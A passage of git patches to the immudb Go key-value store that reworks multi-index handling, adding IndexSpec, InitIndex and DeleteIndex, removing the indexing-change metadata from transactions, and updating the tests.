errors.Is(err, ErrNoIndexFound) { + return nil, 0, ErrKeyNotFound + } + return nil, 0, err } @@ -942,7 +997,7 @@ func (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, er } func (s *ImmuStore) syncSnapshot(prefix []byte) (*Snapshot, error) { - indexer, err := s.getIndexer(prefix) + indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err } @@ -961,7 +1016,7 @@ func (s *ImmuStore) syncSnapshot(prefix []byte) (*Snapshot, error) { } func (s *ImmuStore) Snapshot(prefix []byte) (*Snapshot, error) { - indexer, err := s.getIndexer(prefix) + indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err } @@ -995,7 +1050,7 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } - indexer, err := s.getIndexer(prefix) + indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err } @@ -1106,7 +1161,7 @@ func (s *ImmuStore) syncMetaState() error { return err } - err = s.metaState.processTxHeader(hdr) + err = s.metaState.processTxHeader(hdr, nil, nil) if err != nil { return err } @@ -1180,24 +1235,6 @@ func (s *ImmuStore) WaitForIndexingUpto(ctx context.Context, txID uint64) error return nil } -func (s *ImmuStore) GetIndexIDs() []int { - s.indexersMux.RLock() - defer s.indexersMux.RUnlock() - - ids := make([]int, len(s.indexers)) - - i := 0 - - for id := range s.indexers { - ids[i] = id - i++ - } - - sort.Ints(ids) - - return ids -} - func (s *ImmuStore) CompactIndexes() error { if s.compactionDisabled { return ErrCompactionUnsupported @@ -1832,7 +1869,28 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT return err } - err = s.metaState.processTxHeader(tx.header) + onIndexDeletedCallback := func(prefix []byte) error { + s.indexersMux.Lock() + defer s.indexersMux.Unlock() + + indexPrefix := sha256.Sum256(prefix) + + indexer, ok := s.indexers[indexPrefix] + if !ok { + return fmt.Errorf("%w: index not found", ErrUnexpectedError) + } + + err = indexer.Close() + if err != nil { + return err + } + + delete(s.indexers, indexPrefix) + + return os.RemoveAll(indexer.path) + } + + err = s.metaState.processTxHeader(tx.header, nil, onIndexDeletedCallback) if err != nil { return err } @@ -2108,8 +2166,11 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 defer otx.Cancel() // preCommitWith is limited to default index and it may be deprecated in the near future - indexer, err := s.getIndexer(nil) + indexer, err := s.getIndexerFor(nil) if err != nil { + if errors.Is(err, ErrNoIndexFound) { + return nil, ErrKeyNotFound + } return nil, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index f034bf7552..5685a950a9 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -3302,7 +3302,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { require.NoError(t, err) t.Run("commit", func(t *testing.T) { - indexer, err := immuStore.getIndexer(nil) + indexer, err := immuStore.getIndexerFor(nil) require.NoError(t, err) // First add some entries that are not indexed @@ -3346,7 +3346,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { }) t.Run("commitWith", func(t *testing.T) { - indexer, err := immuStore.getIndexer(nil) + indexer, err := immuStore.getIndexerFor(nil) require.NoError(t, err) // First add some entries that are not indexed @@ -5069,7 +5069,6 @@ func TestIndexingChanges(t *testing.T) { require.NoError(t, err) indexingChanges1 := []IndexChange{&IndexCreationChange{Prefix: []byte("j")}, &IndexCreationChange{Prefix: []byte("k")}} - tx1.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges1)) hdr1, err := tx1.Commit(context.Background()) @@ -5089,15 +5088,56 @@ func TestIndexingChanges(t *testing.T) { require.Len(t, st.metaState.indexes, 2) + err = st.InitIndexer([]byte("j"), nil) + require.NoError(t, err) + + err = st.InitIndexer([]byte("k"), nil) + require.NoError(t, err) + tx2, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) - indexingChanges2 := []IndexChange{&IndexDeletionChange{Prefix: []byte("j")}} + err = tx2.Set([]byte("j1"), nil, []byte("val_j1")) + require.NoError(t, err) - tx2.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges2)) + err = tx2.Set([]byte("k1"), nil, []byte("val_k1")) + require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) + tx3, err := st.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + _, err = tx3.Get([]byte("j1")) + require.NoError(t, err) + + _, err = tx3.Get([]byte("k1")) + require.NoError(t, err) + + err = tx3.Cancel() + require.NoError(t, err) + + tx4, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + indexingChanges2 := []IndexChange{&IndexDeletionChange{Prefix: []byte("j")}} + tx4.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges2)) + + _, err = tx4.Commit(context.Background()) + require.NoError(t, err) + require.Len(t, st.metaState.indexes, 1) + + tx5, err := st.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + _, err = tx5.Get([]byte("j1")) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, err = tx5.Get([]byte("k1")) + require.NoError(t, err) + + err = tx5.Cancel() + require.NoError(t, err) } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index a223c87add..6e6ac089e7 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -36,7 +36,7 @@ import ( type indexer struct { prefix []byte - entryMapper entryMapper + entryMapper EntryMapper path string @@ -67,7 +67,7 @@ type indexer struct { metricsLastIndexedTrx prometheus.Gauge } -type entryMapper = func(key []byte, value []byte) []byte +type EntryMapper = func(key []byte, value []byte) []byte type runningState = int @@ -92,7 +92,7 @@ var ( }) ) -func newIndexer(path string, store *ImmuStore, prefix []byte, entryMapper entryMapper, opts *Options) (*indexer, error) { +func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) { if store == nil { return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } @@ -147,8 +147,6 @@ func newIndexer(path string, store *ImmuStore, prefix []byte, entryMapper entryM } indexer := &indexer{ - prefix: prefix, - entryMapper: entryMapper, store: store, tx: tx, maxBulkSize: opts.IndexOpts.MaxBulkSize, @@ -166,11 +164,19 @@ func newIndexer(path string, store *ImmuStore, prefix []byte, entryMapper entryM indexer.metricsLastIndexedTrx = metricsLastIndexedTrxId.WithLabelValues(dbName) indexer.metricsLastCommittedTrx = metricsLastCommittedTrx.WithLabelValues(dbName) - indexer.resume() - return indexer, nil } +func (idx *indexer) init(prefix []byte, entryMapper EntryMapper) { + idx.mutex.Lock() + defer idx.mutex.Unlock() + + idx.prefix = prefix + idx.entryMapper = entryMapper + + idx.resume() +} + func (idx *indexer) Ts() uint64 { idx.mutex.Lock() defer idx.mutex.Unlock() diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index fe9f6d3319..c8ccf67287 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -30,7 +30,7 @@ import ( ) func TestNewIndexerFailure(t *testing.T) { - indexer, err := newIndexer(t.TempDir(), nil, nil, nil, nil) + indexer, err := newIndexer(t.TempDir(), nil, nil) require.Nil(t, indexer) require.ErrorIs(t, err, ErrIllegalArguments) } @@ -41,7 +41,7 @@ func TestClosedIndexerFailures(t *testing.T) { )) require.NoError(t, err) - indexer, err := store.getIndexer(nil) + indexer, err := store.getIndexerFor(nil) require.NoError(t, err) err = indexer.Close() @@ -129,7 +129,7 @@ func TestRestartIndexCornerCases(t *testing.T) { func(t *testing.T, dir string, s *ImmuStore) { s.Close() - indexer, err := s.getIndexer(nil) + indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() @@ -141,7 +141,7 @@ func TestRestartIndexCornerCases(t *testing.T) { func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/commit1"), 0777)) - indexer, err := s.getIndexer(nil) + indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() @@ -153,7 +153,7 @@ func TestRestartIndexCornerCases(t *testing.T) { func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/nodes1"), 0777)) - indexer, err := s.getIndexer(nil) + indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() @@ -166,7 +166,7 @@ func TestRestartIndexCornerCases(t *testing.T) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/nodes1"), 0777)) require.NoError(t, ioutil.WriteFile(filepath.Join(dir, "index/commit1"), []byte{}, 0777)) - indexer, err := s.getIndexer(nil) + indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go index d9e71900f1..851c4b1779 100644 --- a/embedded/store/meta_state.go +++ b/embedded/store/meta_state.go @@ -71,18 +71,18 @@ func (m *metaState) calculatedUpToTxID() uint64 { return doneUpToTxID } -func (m *metaState) indexPrefix(prefix []byte) (indexPrefix [sha256.Size]byte, ok bool) { - for p, spec := range m.indexes { +func (m *metaState) indexSpec(prefix []byte) (*indexSpec, bool) { + for _, spec := range m.indexes { if hasPrefix(prefix, spec.prefix) { - indexPrefix = p - ok = true - return + return spec, true } } - return + return nil, false } -func (m *metaState) processTxHeader(hdr *TxHeader) error { +type onIndexingChangeCallback = func(prefix []byte) error + +func (m *metaState) processTxHeader(hdr *TxHeader, onIndexCreated, onIndexDeleted onIndexingChangeCallback) error { if hdr == nil { return ErrIllegalArguments } @@ -112,13 +112,22 @@ func (m *metaState) processTxHeader(hdr *TxHeader) error { if len(indexingChanges) > 0 { for _, change := range indexingChanges { - indexPrefix, indexAlreadyExists := m.indexPrefix(change.GetPrefix()) + spec, indexAlreadyExists := m.indexSpec(change.GetPrefix()) if change.IsIndexDeletion() { if !indexAlreadyExists { return fmt.Errorf("%w: index does not exist", ErrCorruptedData) } + if onIndexDeleted != nil { + err := onIndexDeleted(spec.prefix) + if err != nil { + return err + } + } + + indexPrefix := sha256.Sum256(spec.prefix) + delete(m.indexes, indexPrefix) continue @@ -131,6 +140,13 @@ func (m *metaState) processTxHeader(hdr *TxHeader) error { c := change.(*IndexCreationChange) + if onIndexCreated != nil { + err := onIndexCreated(c.Prefix) + if err != nil { + return err + } + } + indexPrefix := sha256.Sum256(c.Prefix) m.indexes[indexPrefix] = &indexSpec{ diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index e047ea525f..73891444ab 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -185,7 +185,7 @@ func (tx *OngoingTx) Metadata() *TxMetadata { func (tx *OngoingTx) snap(key []byte) (*Snapshot, error) { for _, snap := range tx.snapshots { - if len(key) >= len(snap.prefix) && bytes.Equal(snap.prefix, key[:len(snap.prefix)]) { + if hasPrefix(key, snap.prefix) { return snap, nil } } @@ -359,6 +359,9 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, snap, err := tx.snap(key) if err != nil { + if errors.Is(err, ErrNoIndexFound) { + return nil, ErrKeyNotFound + } return nil, err } From 988b395844d5520c418c3a82740aeb1a07d0bac9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 20 Aug 2023 12:43:19 -0300 Subject: [PATCH 0735/1062] feat(embedded/store): transactionaless multi-indexing Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 114 +++++++++------ embedded/store/immustore_test.go | 61 ++++---- embedded/store/indexer.go | 23 +-- embedded/store/meta_state.go | 86 +---------- embedded/store/ongoing_tx.go | 2 +- embedded/store/tx_metadata.go | 220 +---------------------------- embedded/store/tx_metadata_test.go | 18 +-- pkg/database/database.go | 2 + 8 files changed, 118 insertions(+), 408 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 819eca70d0..0442a89075 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -111,7 +111,7 @@ var ErrTruncationInfoNotPresentInMetadata = errors.New("truncation info not pres var ErrInvalidProof = errors.New("invalid proof") -var ErrNoIndexFound = errors.New("no index found") +var ErrIndexNotFound = errors.New("index not found") var ErrMultiIndexingNotEnabled = errors.New("multi-indexing not enabled") @@ -741,7 +741,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } if !store.multiIndexing { - err := store.InitIndexer(nil, nil) + err := store.InitIndex(&IndexSpec{}) if err != nil { store.Close() return nil, err @@ -830,24 +830,37 @@ func hasPrefix(key, prefix []byte) bool { func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { for _, indexer := range s.indexers { - if hasPrefix(keyPrefix, indexer.prefix) { + if hasPrefix(keyPrefix, indexer.Prefix()) { return indexer, nil } } - return nil, ErrNoIndexFound + return nil, ErrIndexNotFound } -func (s *ImmuStore) InitIndexer(prefix []byte, entryMapper EntryMapper) error { - s.indexersMux.Lock() - defer s.indexersMux.Unlock() +type IndexSpec struct { + Prefix []byte + SourcePrefix []byte + InitialTxID uint64 + FinalTxID uint64 + InitialTs int64 + FinalTs int64 + EntryMapper EntryMapper +} - indexPrefix := sha256.Sum256(prefix) +func (s *ImmuStore) InitIndex(spec *IndexSpec) error { + if spec == nil { + return ErrIllegalArguments + } - _, indexFound := s.metaState.indexes[indexPrefix] - if s.multiIndexing && !indexFound { - return ErrNoIndexFound + if len(spec.Prefix) == 0 && len(spec.SourcePrefix) > 0 { + return fmt.Errorf("%w: empty prefix can not have a source prefix", ErrIllegalArguments) } + s.indexersMux.Lock() + defer s.indexersMux.Unlock() + + indexPrefix := sha256.Sum256(spec.Prefix) + _, ok := s.indexers[indexPrefix] if ok { return fmt.Errorf("%w: indexer already initialized", ErrIllegalState) @@ -855,20 +868,31 @@ func (s *ImmuStore) InitIndexer(prefix []byte, entryMapper EntryMapper) error { var indexPath string - if len(prefix) == 0 { + if len(spec.Prefix) == 0 { indexPath = filepath.Join(s.path, indexDirname) - } else { - encPrefix := hex.EncodeToString(prefix) + } else if len(spec.SourcePrefix) == 0 { + encPrefix := hex.EncodeToString(spec.Prefix) indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encPrefix)) + } else { + sourceIndexPrefix := sha256.Sum256(spec.SourcePrefix) + + _, ok := s.indexers[sourceIndexPrefix] + if !ok { + return fmt.Errorf("%w: source indexer not initialized", ErrIndexNotFound) + } + + encSourcePrefix := hex.EncodeToString(spec.SourcePrefix) + encPrefix := hex.EncodeToString(spec.Prefix) + indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encSourcePrefix), fmt.Sprintf("%s_%s", indexDirname, encPrefix)) } indexer, err := newIndexer(indexPath, s, s.opts) if err != nil { - return fmt.Errorf("could not open indexer: %w", err) + return fmt.Errorf("%w: could not open indexer", err) } if indexer.Ts() > s.LastCommittedTxID() { - return fmt.Errorf("corrupted commit-log: index size is too large: %w", ErrCorruptedCLog) + return fmt.Errorf("%w: index size is too large", ErrCorruptedIndex) // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved @@ -876,11 +900,32 @@ func (s *ImmuStore) InitIndexer(prefix []byte, entryMapper EntryMapper) error { s.indexers[indexPrefix] = indexer - indexer.init(prefix, entryMapper) + indexer.init(spec) return nil } +func (s *ImmuStore) DeleteIndex(prefix []byte) error { + s.indexersMux.Lock() + defer s.indexersMux.Unlock() + + indexPrefix := sha256.Sum256(prefix) + + indexer, ok := s.indexers[indexPrefix] + if !ok { + return fmt.Errorf("%w: index not found", ErrIndexNotFound) + } + + err := indexer.Close() + if err != nil { + return err + } + + delete(s.indexers, indexPrefix) + + return os.RemoveAll(indexer.path) +} + func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } @@ -888,7 +933,7 @@ func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexer, err := s.getIndexerFor(key) if err != nil { - if errors.Is(err, ErrNoIndexFound) { + if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } @@ -928,7 +973,7 @@ func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { indexer, err := s.getIndexerFor(prefix) if err != nil { - if errors.Is(err, ErrNoIndexFound) { + if errors.Is(err, ErrIndexNotFound) { return nil, nil, ErrKeyNotFound } @@ -964,7 +1009,7 @@ func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters . func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { indexer, err := s.getIndexerFor(key) if err != nil { - if errors.Is(err, ErrNoIndexFound) { + if errors.Is(err, ErrIndexNotFound) { return nil, 0, ErrKeyNotFound } @@ -1067,7 +1112,7 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return &Snapshot{ st: s, - prefix: indexer.prefix, + prefix: indexer.Prefix(), snap: snap, ts: time.Now(), }, nil @@ -1161,7 +1206,7 @@ func (s *ImmuStore) syncMetaState() error { return err } - err = s.metaState.processTxHeader(hdr, nil, nil) + err = s.metaState.processTxHeader(hdr) if err != nil { return err } @@ -1869,28 +1914,7 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT return err } - onIndexDeletedCallback := func(prefix []byte) error { - s.indexersMux.Lock() - defer s.indexersMux.Unlock() - - indexPrefix := sha256.Sum256(prefix) - - indexer, ok := s.indexers[indexPrefix] - if !ok { - return fmt.Errorf("%w: index not found", ErrUnexpectedError) - } - - err = indexer.Close() - if err != nil { - return err - } - - delete(s.indexers, indexPrefix) - - return os.RemoveAll(indexer.path) - } - - err = s.metaState.processTxHeader(tx.header, nil, onIndexDeletedCallback) + err = s.metaState.processTxHeader(tx.header) if err != nil { return err } @@ -2168,7 +2192,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 // preCommitWith is limited to default index and it may be deprecated in the near future indexer, err := s.getIndexerFor(nil) if err != nil { - if errors.Is(err, ErrNoIndexFound) { + if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } return nil, err diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 5685a950a9..a72e1ebcf6 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -719,7 +719,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { }, nil }), ) - require.ErrorIs(t, err, ErrCorruptedCLog) + require.ErrorIs(t, err, ErrCorruptedIndex) }) mockedApps := []*mocked.MockedAppendable{vLog, txLog, cLog} @@ -5065,52 +5065,51 @@ func TestIndexingChanges(t *testing.T) { defer immustoreClose(t, st) - tx1, err := st.NewWriteOnlyTx(context.Background()) + err = st.InitIndex(&IndexSpec{ + Prefix: []byte("j"), + }) require.NoError(t, err) - indexingChanges1 := []IndexChange{&IndexCreationChange{Prefix: []byte("j")}, &IndexCreationChange{Prefix: []byte("k")}} - tx1.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges1)) - - hdr1, err := tx1.Commit(context.Background()) + err = st.InitIndex(&IndexSpec{ + Prefix: []byte("k"), + }) require.NoError(t, err) - txPool, err := st.NewTxHolderPool(1, true) + tx1, err := st.NewWriteOnlyTx(context.Background()) require.NoError(t, err) - txholder, err := txPool.Alloc() + err = tx1.Set([]byte("j1"), nil, []byte("val_j1")) require.NoError(t, err) - defer txPool.Release(txholder) - - err = st.ReadTx(hdr1.ID, false, txholder) + err = tx1.Set([]byte("k1"), nil, []byte("val_k1")) require.NoError(t, err) - require.Empty(t, txholder.Entries()) - - require.Len(t, st.metaState.indexes, 2) - err = st.InitIndexer([]byte("j"), nil) + _, err = tx1.Commit(context.Background()) require.NoError(t, err) - err = st.InitIndexer([]byte("k"), nil) + tx2, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - tx2, err := st.NewWriteOnlyTx(context.Background()) + _, err = tx2.Get([]byte("j1")) require.NoError(t, err) - err = tx2.Set([]byte("j1"), nil, []byte("val_j1")) + _, err = tx2.Get([]byte("k1")) require.NoError(t, err) - err = tx2.Set([]byte("k1"), nil, []byte("val_k1")) + err = tx2.Cancel() require.NoError(t, err) - _, err = tx2.Commit(context.Background()) + err = st.DeleteIndex([]byte("j")) require.NoError(t, err) + err = st.DeleteIndex([]byte("j")) + require.ErrorIs(t, err, ErrIndexNotFound) + tx3, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx3.Get([]byte("j1")) - require.NoError(t, err) + require.ErrorIs(t, err, ErrKeyNotFound) _, err = tx3.Get([]byte("k1")) require.NoError(t, err) @@ -5118,26 +5117,20 @@ func TestIndexingChanges(t *testing.T) { err = tx3.Cancel() require.NoError(t, err) - tx4, err := st.NewWriteOnlyTx(context.Background()) + err = st.InitIndex(&IndexSpec{ + Prefix: []byte("j"), + }) require.NoError(t, err) - indexingChanges2 := []IndexChange{&IndexDeletionChange{Prefix: []byte("j")}} - tx4.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges2)) - - _, err = tx4.Commit(context.Background()) + tx4, err := st.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - require.Len(t, st.metaState.indexes, 1) - - tx5, err := st.NewTx(context.Background(), DefaultTxOptions()) + _, err = tx4.Get([]byte("j1")) require.NoError(t, err) - _, err = tx5.Get([]byte("j1")) - require.ErrorIs(t, err, ErrKeyNotFound) - - _, err = tx5.Get([]byte("k1")) + _, err = tx4.Get([]byte("k1")) require.NoError(t, err) - err = tx5.Cancel() + err = tx4.Cancel() require.NoError(t, err) } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 6e6ac089e7..e4053f5f82 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -35,13 +35,13 @@ import ( ) type indexer struct { - prefix []byte - entryMapper EntryMapper - path string store *ImmuStore - tx *Tx + + spec *IndexSpec + + tx *Tx maxBulkSize int bulkPreparationTimeout time.Duration @@ -167,16 +167,19 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) return indexer, nil } -func (idx *indexer) init(prefix []byte, entryMapper EntryMapper) { +func (idx *indexer) init(spec *IndexSpec) { idx.mutex.Lock() defer idx.mutex.Unlock() - idx.prefix = prefix - idx.entryMapper = entryMapper + idx.spec = spec idx.resume() } +func (idx *indexer) Prefix() []byte { + return idx.spec.Prefix +} + func (idx *indexer) Ts() uint64 { idx.mutex.Lock() defer idx.mutex.Unlock() @@ -466,7 +469,7 @@ func (idx *indexer) indexSince(txID uint64) error { var mappedKey []byte - if idx.entryMapper == nil { + if idx.spec.EntryMapper == nil { mappedKey = e.key() } else { _, err := idx.store.readValueAt(idx._val[:e.vLen], e.vOff, e.hVal, false) @@ -474,10 +477,10 @@ func (idx *indexer) indexSince(txID uint64) error { return err } - mappedKey = idx.entryMapper(e.key(), idx._val[:e.vLen]) + mappedKey = idx.spec.EntryMapper(e.key(), idx._val[:e.vLen]) } - if !hasPrefix(mappedKey, idx.prefix) { + if !hasPrefix(mappedKey, idx.spec.Prefix) { continue } diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go index 851c4b1779..30709ddc57 100644 --- a/embedded/store/meta_state.go +++ b/embedded/store/meta_state.go @@ -17,7 +17,6 @@ limitations under the License. package store import ( - "crypto/sha256" "errors" "fmt" @@ -30,31 +29,20 @@ var ErrAlreadyStopped = errors.New("already stopped") type metaState struct { truncatedUpToTxID uint64 - indexes map[[sha256.Size]byte]*indexSpec - wHub *watchers.WatchersHub } -type indexSpec struct { - prefix []byte - initialTxID uint64 - finalTxID uint64 - initialTs int64 - finalTs int64 -} - type metaStateOptions struct { } func openMetaState(path string, opts metaStateOptions) (*metaState, error) { return &metaState{ - wHub: watchers.New(0, MaxIndexCount), - indexes: make(map[[sha256.Size]byte]*indexSpec), + wHub: watchers.New(0, MaxIndexCount), }, nil } func (m *metaState) rollbackUpTo(txID uint64) error { - m.indexes = nil + m.truncatedUpToTxID = 0 err := m.wHub.Close() if err != nil { @@ -71,18 +59,7 @@ func (m *metaState) calculatedUpToTxID() uint64 { return doneUpToTxID } -func (m *metaState) indexSpec(prefix []byte) (*indexSpec, bool) { - for _, spec := range m.indexes { - if hasPrefix(prefix, spec.prefix) { - return spec, true - } - } - return nil, false -} - -type onIndexingChangeCallback = func(prefix []byte) error - -func (m *metaState) processTxHeader(hdr *TxHeader, onIndexCreated, onIndexDeleted onIndexingChangeCallback) error { +func (m *metaState) processTxHeader(hdr *TxHeader) error { if hdr == nil { return ErrIllegalArguments } @@ -107,63 +84,6 @@ func (m *metaState) processTxHeader(hdr *TxHeader, onIndexCreated, onIndexDelete return err } - indexingChanges := hdr.Metadata.GetIndexingChanges() - - if len(indexingChanges) > 0 { - for _, change := range indexingChanges { - - spec, indexAlreadyExists := m.indexSpec(change.GetPrefix()) - - if change.IsIndexDeletion() { - if !indexAlreadyExists { - return fmt.Errorf("%w: index does not exist", ErrCorruptedData) - } - - if onIndexDeleted != nil { - err := onIndexDeleted(spec.prefix) - if err != nil { - return err - } - } - - indexPrefix := sha256.Sum256(spec.prefix) - - delete(m.indexes, indexPrefix) - - continue - } - - if change.IsIndexCreation() { - if indexAlreadyExists { - return fmt.Errorf("%w: index already exists", ErrCorruptedData) - } - - c := change.(*IndexCreationChange) - - if onIndexCreated != nil { - err := onIndexCreated(c.Prefix) - if err != nil { - return err - } - } - - indexPrefix := sha256.Sum256(c.Prefix) - - m.indexes[indexPrefix] = &indexSpec{ - prefix: c.Prefix, - initialTxID: c.InitialTxID, - finalTxID: c.FinalTxID, - initialTs: c.InitialTs, - finalTs: c.FinalTs, - } - - continue - } - - return fmt.Errorf("%w: it may be due to an unsupported metadata change", ErrUnexpectedError) - } - } - m.wHub.DoneUpto(hdr.ID) return nil diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 73891444ab..b58099ddf7 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -359,7 +359,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, snap, err := tx.snap(key) if err != nil { - if errors.Is(err, ErrNoIndexFound) { + if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } return nil, err diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 20a87aea4b..8fc6b6371f 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -25,17 +25,14 @@ import ( // attributeCode is used to identify the attribute. const ( truncatedUptoTxAttrCode attributeCode = 0 - indexingChangesAttrCode attributeCode = 1 ) // attribute size is the size of the attribute in bytes. const ( truncatedUptoTxAttrSize = txIDSize - indexingChangesAttrSize = sszSize + MaxNumberOfIndexChangesPerTx*maxIndexChangeSize ) -const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) + - (attrCodeSize + indexingChangesAttrSize) +const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) // truncatedUptoTxAttribute is used to identify that the transaction // stores the information up to which given transaction ID the @@ -66,203 +63,12 @@ func (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) { return txIDSize, nil } -type indexingChangesAttribute struct { - changes []IndexChange -} - -type IndexChange interface { - GetPrefix() []byte - IsIndexDeletion() bool - IsIndexCreation() bool -} - -type IndexDeletionChange struct { - Prefix []byte -} - -func (c *IndexDeletionChange) GetPrefix() []byte { - return c.Prefix -} - -func (c *IndexDeletionChange) IsIndexDeletion() bool { - return true -} - -func (c *IndexDeletionChange) IsIndexCreation() bool { - return false -} - -type IndexCreationChange struct { - Prefix []byte - InitialTxID uint64 - FinalTxID uint64 - InitialTs int64 - FinalTs int64 -} - -func (c *IndexCreationChange) GetPrefix() []byte { - return c.Prefix -} - -func (c *IndexCreationChange) IsIndexDeletion() bool { - return false -} - -func (c *IndexCreationChange) IsIndexCreation() bool { - return true -} - -const maxIndexChangeSize = 1 /* index change type */ + maxIndexCreationSize // size of bigger change -const minIndexCreationSize = sszSize + 2*txIDSize + 2*tsSize -const maxIndexCreationSize = sszSize + MaxIndexPrefixLen + 2*txIDSize + 2*tsSize -const minIndexDeletionSize = sszSize - -const indexDeletionChange = 0 -const indexCreationChange = 1 - -// code returns the attribute code. -func (a *indexingChangesAttribute) code() attributeCode { - return indexingChangesAttrCode -} - -// serialize returns the serialized attribute. -func (a *indexingChangesAttribute) serialize() []byte { - var b [indexingChangesAttrSize]byte - i := 0 - - binary.BigEndian.PutUint16(b[i:], uint16(len(a.changes))) - i += sszSize - - for _, change := range a.changes { - if change.IsIndexDeletion() { - b[i] = indexDeletionChange - i++ - - c := change.(*IndexDeletionChange) - - binary.BigEndian.PutUint16(b[i:], uint16(len(c.Prefix))) - i += sszSize - - copy(b[i:], c.Prefix) - i += len(c.Prefix) - } - - if change.IsIndexCreation() { - b[i] = indexCreationChange - i++ - - c := change.(*IndexCreationChange) - - binary.BigEndian.PutUint16(b[i:], uint16(len(c.Prefix))) - i += sszSize - - copy(b[i:], c.Prefix) - i += len(c.Prefix) - - binary.BigEndian.PutUint64(b[i:], c.InitialTxID) - i += txIDSize - - binary.BigEndian.PutUint64(b[i:], c.FinalTxID) - i += txIDSize - - 